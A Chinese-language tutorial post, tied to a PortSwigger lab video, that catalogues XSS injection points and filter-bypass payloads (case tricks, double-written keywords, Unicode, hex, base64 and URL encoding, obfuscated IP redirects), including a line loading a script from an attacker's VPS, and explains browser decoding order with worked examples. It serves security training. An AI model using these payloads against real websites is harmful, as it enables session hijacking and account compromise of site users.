portswigger 靶场(第二章节)XSS(一)
视频同步更新至bilibili
bilibili地址
【portswigger】第二专题-XSS(一·前置知识)
https://www.bilibili.com/video/BV1mp4y157xA/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
欢迎关注微信公众号:微光安全团队
这一篇文章是一个关于xss的简单总结
首先你需要有一点点的js知识
最起码知道什么东西都是干什么的
其次,你要对xss进行一个简单的分类
常规来说有反射型,存储型,dom型,但我觉得这些都没啥用,知道不知道没什么不同
所以我就简单的按照一些xss注入点来说
哪些地方可以注入
- 文件上传可以注html文件
- 在前端显示的任何可控输入例如
- 评论
- 头像
- 名字
- url
- ······
注入点裸奔
这种情况很少,但是也不是没有
所以直接
<img src=1 onerror=alert(1);>
或者其他的什么payload
例如
<script> alert(1);</script>
<script src="http://<yourVPS>/xss.js"></script>
都可以
注入点在<script></script>
之间
这种的一般来说有两种方法
无过滤
一种是闭合掉前面的<script>
然后alert(1)这样子
</script><script>alert(1)</script>
有过滤
js中可以进行很多事情
比如eval
eval('alert(1)')
注入点在html属性中
我们经常会遇到
<input value="输出"> 、 <img onload="...[输出]..."> , <body style="...[输出]...">
这些地方的输出点
通常解决方法:
<input type="text" value="北京欢迎您" />
它显示出来是这样
http://xxxx.com/xxxx.php?key=北京欢迎您
我们的payload是
" οnclick="alert(1)
在html中表达为
<input type="text" value="北京欢迎您" onclick="alert(1)" />
显示为一个北京欢迎您的按钮,你一点就会alert
还有一些payload
<img src="abc" onerror="alert(1);">
<input id="123" value="test" onblur="alert(1);">
利用一些自动执行的标签会更好
注入点在src,href属性的一些标签中
最常见的payload
<a href="javascript:alert(1);">aaaa</a>
<iframe src="javascript:alert(1);"></iframe>
绕过
以上的所有例子都会遇到很多的过滤
所以大致的绕过如下
大小写绕过
双写绕过
替换绕过
alert可用prompt,confirm,top['alert'](1)
()可用 ``代替
空格可用%0a,%0d,/**/; html的标签内分割两部分还可以用/
字符ſ(ord=383)转为大写为S
编码绕过
url编码
html实体
javascript字符编码 八进制\164 十六进制\x0074
js的String.fromCharCode方法获得字符串
注释绕过
JavaScript注释 // /**/
html注释 <!-- --> <!-- --!>
@符号绕过url限制http://test:test@www.baidu.com
宽字节绕过等
一些例子
我在给出一些具体的绕过例子
也推荐一个在查找信息时看到的一个文章
还挺全的
https://blog.csdn.net/qq_29277155/article/details/51320064
建议都看一遍
过滤空格
用/代替空格
<img/src="x"/onerror=alert("xss");>
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top
<script>top["al"+"ert"](`xss`);</script>
其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子
可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
Unicode编码绕过
<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制
<img src=x onerror=alert('\170\163\163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤双引号,单引号
1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">
使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议
5.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
html规则
你还需要知道一些浏览器的规则,这更有利于你的操作
先说总结
<script>和<style>数据只能有文本,不会有HTML解码和URL解码操作
<textarea>和<title>里会有HTML解码操作,但不会有子元素
其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作
部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII
JavaScript会对字符串和标识符Unicode解码
1,
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
里面没有HTML编码内容,不考虑,其中href内部是URL,于是直接丢给URL模块处理,但是协议无法识别(即被编码的javascript:),解码失败,不会被执行
URL规定协议,用户名,密码都必须是ASCII,编码当然就无效了
2,
<a href="javascript:%61%6c%65%72%74%28%32%29">
先HTML解码,得到
<a href="javascript:%61%6c%65%72%74%28%32%29">
href中为URL,URL模块可识别为javascript协议,进行URL解码,得到
<a href="javascript:alert(2)">
由于是javascript协议,解码完给JS模块处理,于是被执行
3,
<a href="javascript%3aalert(3)"></a>
同1
4,
<div><img src=x οnerrοr=alert(4)></div>
这里包含了HTML编码内容,反过来以开发者的角度思考,HTML编码就是为了显示这些特殊字符,而不干扰正常的DOM解析,所以这里面的内容不会变成一个img元素,也不会被执行
从HTML解析机制看,在读取<div>之后进入数据状态,<会被HTML解码,但不会进入标签开始状态,当然也就不会创建img元素,也就不会执行
5,
<textarea><script>alert(5)</script></textarea>
<textarea>是RCDATA元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素,HTML解码得到
<textarea><script>alert(5)</script></textarea>
于是直接显示
RCDATA`元素(RCDATA elements)包括`textarea`和`title
6,
<textarea><script>alert(6)</script></textarea>
和5一样
7,
<button onclick="confirm('7');">Button</button>
这里onclick中为标签的属性值(类比2中的href),会被HTML解码,得到
<button onclick="confirm('7');">Button</button>
然后执行
8,
<button onclick="confirm('8\u0027);">Button</button>
onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,'显然不行,JS执行失败
9,
<script>alert(9);</script>
script属于原始文本元素(Raw text elements),只可以容纳文本,注意没有字符引用,于是直接由JS处理,JS也认不出来,执行失败
原始文本元素(Raw text elements)有<script>和<style>
10,
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
和8一样,函数名alert属于标识符,直接被JS执行
11,
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
和8一样
12,
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
这里看似将没毛病,但是这里\u0031\u0032在解码的时候会被解码为字符串12,注意是字符串,不是数字,文字显然是需要引号的,JS执行失败
13,
<script>alert('13\u0027)</script>
和8一样
14,
<script>alert('14\u000a')</script>
\u000a在JavaScript里是换行,就是\n,直接执行
15,
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
先HTML解码,得到
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
在href中由URL模块处理,解码得到
javascript:\u0061\u006c\u0065\u0072\u0074(15)
识别JS协议,然后由JS模块处理,解码得到
javascript:alert(15)
最后被执行